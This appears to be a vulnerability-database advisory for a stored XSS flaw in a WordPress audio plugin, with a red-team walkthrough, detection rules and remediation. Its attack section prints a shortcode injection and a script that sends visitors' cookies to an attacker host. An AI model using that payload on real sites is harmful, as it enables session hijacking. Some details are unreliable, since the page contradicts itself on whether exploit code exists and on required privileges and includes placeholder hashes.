CVE-2024-56239
Executive Summary
CVE-2024-56239 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Audio Dock WordPress plugin, affecting versions up to and including 2.0.4. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s audio player interface. When a site administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction. No public proof-of-concept or exploit code has been released, and the vendor has not provided a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to remove or disable the plugin until a patched version is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Attacker only needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited modification possible.
- Availability (A): Low (L) – Minor service disruption.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability resides in the themify-audio-dock plugin’s audio player shortcode or widget. The plugin fails to properly sanitize user-supplied input (e.g., track titles, artist names, or custom CSS classes) before rendering it in the HTML output. An attacker with contributor-level access can inject a payload such as:
<img src=x onerror=alert('XSS')>
When an administrator or other user visits a page containing the malicious audio dock, the script executes in their browser context. The stored XSS persists across page loads, affecting all subsequent visitors.
The root cause is the use of echo or print functions without escaping, or the use of esc_html() instead of wp_kses() or esc_js() for context-appropriate output.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.0.4):
// In themify-audio-dock.php or similar
echo '<div class="themify-audio-dock-track" data-title="' . $track_title . '">';
Patched Code (hypothetical):
echo '<div class="themify-audio-dock-track" data-title="' . esc_attr( $track_title ) . '">';
The vulnerable code directly interpolates $track_title without escaping. The patched version uses esc_attr() to encode special characters, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Prerequisites: WordPress site with Themify Audio Dock <= 2.0.4, contributor-level account.
- Steps:
- Log in as contributor.
- Create a new post or page.
- Insert the audio dock shortcode:
[themify_audio_dock title="<script>alert('XSS')</script>"] - Publish the post.
- Send the link to an administrator.
- When admin views the page, the script executes.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defense & Detection)
- Prevention: Disable or remove the plugin immediately. Implement a Web Application Firewall (WAF) rule to block
<script>tags in shortcode attributes. - Detection: Monitor for unusual shortcode usage or posts containing script tags in custom fields.
- Response: If compromised, rotate all admin credentials, audit user accounts, and restore from a clean backup.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
themify-audio-dock.zip(version 2.0.4):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound connections to unknown domains from WordPress admin pages.
- HTTP requests containing
data-titlewith script tags.
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures. - Web server logs with
POSTrequests towp-admin/post.phpcontaining suspicious shortcode parameters.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_56239_Themify_Audio_Dock_XSS {
meta:
description = "Detects malicious shortcode injection in Themify Audio Dock plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56239"
strings:
$shortcode = /\[themify_audio_dock[^\]]*title\s*=\s*["'][^"']*<script/i
$payload = /<script[^>]*>.*<\/script>/i
condition:
$shortcode or $payload
}
Sigma Rule
title: CVE-2024-56239 Themify Audio Dock Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Themify Audio Dock shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'themify_audio_dock'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in shortcode (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56239 Themify Audio Dock Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"themify_audio_dock"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable and remove the Themify Audio Dock plugin until a patched version is released.
- Alternative: Use a different audio player plugin that is actively maintained.
- Code Fix: If you must keep the plugin, apply the patch shown in the Vulnerable vs. Patched Code section.
- WAF Rule: Block requests containing
<script>in shortcode attributes. - Monitoring: Enable WordPress debug logging and monitor for suspicious shortcode usage.
Valters IT – Securing digital ecosystems with precision.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.